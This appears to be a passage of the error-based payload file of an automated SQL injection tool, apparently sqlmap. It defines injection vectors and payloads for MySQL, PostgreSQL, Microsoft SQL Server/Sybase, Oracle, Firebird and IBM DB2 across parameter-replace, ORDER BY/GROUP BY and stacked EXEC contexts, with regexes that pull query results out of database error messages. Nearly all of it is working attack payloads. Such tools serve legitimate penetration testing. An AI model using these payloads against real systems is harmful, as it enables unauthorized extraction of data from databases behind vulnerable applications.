1135
    </test>
1136

1137
    <test>
1138
        <title>Microsoft SQL Server/Sybase error-based - Parameter replace</title>
1139
        <stype>2</stype>
1140
        <level>3</level>
1141
        <risk>1</risk>
1142
        <clause>1,3</clause>
1143
        <where>3</where>
1144
        <vector>(CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
1145
        <request>
1146
            <payload>(CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
1147
        </request>
1148
        <response>
1149
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1150
        </response>
1151
        <details>
1152
            <dbms>Microsoft SQL Server</dbms>
1153
            <dbms>Sybase</dbms>
1154
        </details>
1155
    </test>
1156

1157
    <test>
1158
        <title>Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)</title>
1159
        <stype>2</stype>
1160
        <level>4</level>
1161
        <risk>1</risk>
1162
        <clause>1,3</clause>
1163
        <where>3</where>
1164
        <vector>(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')</vector>
1165
        <request>
1166
            <payload>(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')</payload>
1167
        </request>
1168
        <response>
1169
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1170
        </response>
1171
        <details>
1172
            <dbms>Microsoft SQL Server</dbms>
1173
            <dbms>Sybase</dbms>
1174
        </details>
1175
    </test>
1176

1177
    <test>
1178
        <title>Oracle error-based - Parameter replace</title>
1179
        <stype>2</stype>
1180
        <level>3</level>
1181
        <risk>1</risk>
1182
        <clause>1,3</clause>
1183
        <where>3</where>
1184
        <vector>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
1185
        <request>
1186
            <payload>(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
1187
        </request>
1188
        <response>
1189
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1190
        </response>
1191
        <details>
1192
            <dbms>Oracle</dbms>
1193
        </details>
1194
    </test>
1195

1196
    <test>
1197
        <title>Firebird error-based - Parameter replace</title>
1198
        <stype>2</stype>
1199
        <level>4</level>
1200
        <risk>1</risk>
1201
        <clause>1,3</clause>
1202
        <where>3</where>
1203
        <vector>(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
1204
        <request>
1205
            <payload>(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
1206
        </request>
1207
        <response>
1208
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1209
        </response>
1210
        <details>
1211
            <dbms>Firebird</dbms>
1212
        </details>
1213
    </test>
1214

1215
    <test>
1216
        <title>IBM DB2 error-based - Parameter replace</title>
1217
        <stype>2</stype>
1218
        <level>4</level>
1219
        <risk>1</risk>
1220
        <clause>1,3</clause>
1221
        <where>3</where>
1222
        <vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
1223
        <request>
1224
            <payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
1225
        </request>
1226
        <response>
1227
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1228
        </response>
1229
        <details>
1230
            <dbms>IBM DB2</dbms>
1231
        </details>
1232
    </test>
1233
    <!-- End of error-based tests - Parameter replace -->
1234

1235
    <!-- Error-based tests - ORDER BY, GROUP BY clause -->
1236
    <test>
1237
        <title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title>
1238
        <stype>2</stype>
1239
        <level>5</level>
1240
        <risk>1</risk>
1241
        <clause>2,3</clause>
1242
        <where>1</where>
1243
        <vector>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</vector>
1244
        <request>
1245
            <payload>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</payload>
1246
        </request>
1247
        <response>
1248
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1249
        </response>
1250
        <details>
1251
            <dbms>MySQL</dbms>
1252
            <dbms_version>&gt;= 5.5</dbms_version>
1253
        </details>
1254
    </test>
1255

1256
    <test>
1257
        <title>MySQL &gt;= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)</title>
1258
        <stype>2</stype>
1259
        <level>5</level>
1260
        <risk>1</risk>
1261
        <clause>2,3</clause>
1262
        <where>1</where>
1263
        <vector>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)</vector>
1264
        <request>
1265
            <payload>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)</payload>
1266
        </request>
1267
        <response>
1268
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1269
        </response>
1270
        <details>
1271
            <dbms>MySQL</dbms>
1272
            <dbms_version>&gt;= 5.5</dbms_version>
1273
        </details>
1274
    </test>
1275

1276
    <test>
1277
        <title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
1278
        <stype>2</stype>
1279
        <level>5</level>
1280
        <risk>1</risk>
1281
        <clause>2,3</clause>
1282
        <where>1</where>
1283
        <vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
1284
        <request>
1285
            <payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
1286
        </request>
1287
        <response>
1288
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1289
        </response>
1290
        <details>
1291
            <dbms>MySQL</dbms>
1292
            <dbms_version>&gt;= 5.6</dbms_version>
1293
        </details>
1294
    </test>
1295

1296
    <test>
1297
        <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
1298
        <stype>2</stype>
1299
        <level>5</level>
1300
        <risk>1</risk>
1301
        <clause>2,3</clause>
1302
        <where>1</where>
1303
        <vector>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)</vector>
1304
        <request>
1305
            <payload>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)</payload>
1306
        </request>
1307
        <response>
1308
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1309
        </response>
1310
        <details>
1311
            <dbms>MySQL</dbms>
1312
            <dbms_version>&gt;= 5.7.8</dbms_version>
1313
        </details>
1314
    </test>
1315

1316
    <test>
1317
        <title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
1318
        <stype>2</stype>
1319
        <level>4</level>
1320
        <risk>1</risk>
1321
        <clause>2,3</clause>
1322
        <where>1</where>
1323
        <vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</vector>
1324
        <request>
1325
            <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)</payload>
1326
        </request>
1327
        <response>
1328
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1329
        </response>
1330
        <details>
1331
            <dbms>MySQL</dbms>
1332
            <dbms_version>&gt;= 5.0</dbms_version>
1333
        </details>
1334
    </test>
1335

1336
    <test>
1337
        <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
1338
        <stype>2</stype>
1339
        <level>3</level>
1340
        <risk>1</risk>
1341
        <clause>2,3</clause>
1342
        <where>1</where>
1343
        <vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
1344
        <request>
1345
            <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
1346
        </request>
1347
        <response>
1348
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1349
        </response>
1350
        <details>
1351
            <dbms>MySQL</dbms>
1352
            <dbms_version>&gt;= 5.1</dbms_version>
1353
        </details>
1354
    </test>
1355

1356
    <test>
1357
        <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)</title>
1358
        <stype>2</stype>
1359
        <level>5</level>
1360
        <risk>1</risk>
1361
        <clause>2,3</clause>
1362
        <where>1</where>
1363
        <vector>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector>
1364
        <request>
1365
            <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload>
1366
        </request>
1367
        <response>
1368
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1369
        </response>
1370
        <details>
1371
            <dbms>MySQL</dbms>
1372
            <dbms_version>&gt;= 5.1</dbms_version>
1373
        </details>
1374
    </test>
1375

1376
    <test>
1377
        <title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
1378
        <stype>2</stype>
1379
        <level>3</level>
1380
        <risk>1</risk>
1381
        <clause>2,3</clause>
1382
        <where>1</where>
1383
        <vector>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</vector>
1384
        <request>
1385
            <payload>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</payload>
1386
        </request>
1387
        <response>
1388
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1389
        </response>
1390
        <details>
1391
            <dbms>MySQL</dbms>
1392
            <dbms_version>&gt;= 4.1</dbms_version>
1393
        </details>
1394
    </test>
1395

1396
    <test>
1397
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
1398
        <stype>2</stype>
1399
        <level>3</level>
1400
        <risk>1</risk>
1401
        <clause>2,3</clause>
1402
        <where>1</where>
1403
        <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
1404
        <request>
1405
            <payload>,(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
1406
        </request>
1407
        <response>
1408
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1409
        </response>
1410
        <details>
1411
            <dbms>PostgreSQL</dbms>
1412
        </details>
1413
    </test>
1414

1415
    <test>
1416
        <title>PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)</title>
1417
        <stype>2</stype>
1418
        <level>5</level>
1419
        <risk>1</risk>
1420
        <clause>2,3</clause>
1421
        <where>1</where>
1422
        <vector>,(CAST('[DELIMITER_START]'||([QUERY])::text||'[DELIMITER_STOP]' AS NUMERIC))</vector>
1423
        <request>
1424
            <payload>,(CAST('[DELIMITER_START]'||(SELECT 1 FROM GENERATE_SERIES([RANDNUM],[RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
1425
        </request>
1426
        <response>
1427
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1428
        </response>
1429
        <details>
1430
            <dbms>PostgreSQL</dbms>
1431
        </details>
1432
    </test>
1433

1434
    <test>
1435
        <title>Microsoft SQL Server/Sybase error-based - ORDER BY clause</title>
1436
        <stype>2</stype>
1437
        <level>4</level>
1438
        <risk>1</risk>
1439
        <clause>3</clause>
1440
        <where>1</where>
1441
        <vector>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')))</vector>
1442
        <request>
1443
            <payload>,(SELECT [RANDNUM] WHERE [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
1444
        </request>
1445
        <response>
1446
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1447
        </response>
1448
        <details>
1449
            <dbms>Microsoft SQL Server</dbms>
1450
            <dbms>Sybase</dbms>
1451
        </details>
1452
    </test>
1453

1454
    <test>
1455
        <title>Oracle error-based - ORDER BY, GROUP BY clause</title>
1456
        <stype>2</stype>
1457
        <level>4</level>
1458
        <risk>1</risk>
1459
        <clause>2,3</clause>
1460
        <where>1</where>
1461
        <vector>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</vector>
1462
        <request>
1463
            <payload>,(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
1464
        </request>
1465
        <response>
1466
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1467
        </response>
1468
        <details>
1469
            <dbms>Oracle</dbms>
1470
        </details>
1471
    </test>
1472

1473
    <test>
1474
        <title>Firebird error-based - ORDER BY clause</title>
1475
        <stype>2</stype>
1476
        <level>5</level>
1477
        <risk>1</risk>
1478
        <clause>3</clause>
1479
        <where>1</where>
1480
        <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
1481
        <request>
1482
            <payload>,(SELECT [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]'))</payload>
1483
        </request>
1484
        <response>
1485
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1486
        </response>
1487
        <details>
1488
            <dbms>Firebird</dbms>
1489
        </details>
1490
    </test>
1491

1492
    <test>
1493
        <title>IBM DB2 error-based - ORDER BY clause</title>
1494
        <stype>2</stype>
1495
        <level>5</level>
1496
        <risk>1</risk>
1497
        <clause>3</clause>
1498
        <where>1</where>
1499
        <vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
1500
        <request>
1501
            <payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
1502
        </request>
1503
        <response>
1504
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1505
        </response>
1506
        <details>
1507
            <dbms>IBM DB2</dbms>
1508
        </details>
1509
    </test>
1510
    <!--
1511
         TODO: if possible, add payload for SQLite, Microsoft Access
1512
         and SAP MaxDB - no known techniques at this time
1513
    -->
1514
    <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
1515

1516
    <!-- Error-based tests - stacking -->
1517
    <test>
1518
        <title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
1519
        <stype>2</stype>
1520
        <level>2</level>
1521
        <risk>1</risk>
1522
        <clause>1-8</clause>
1523
        <where>1</where>
1524
        <vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
1525
        <request>
1526
            <payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
1527
            <comment>--</comment>
1528
        </request>
1529
        <response>
1530
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1531
        </response>
1532
        <details>
1533
            <dbms>Microsoft SQL Server</dbms>
1534
            <dbms>Sybase</dbms>
1535
        </details>
1536
    </test>
1537
    <!-- End of error-based tests - stacking -->
1538
</root>
1539

1540
Product

Resources

Company
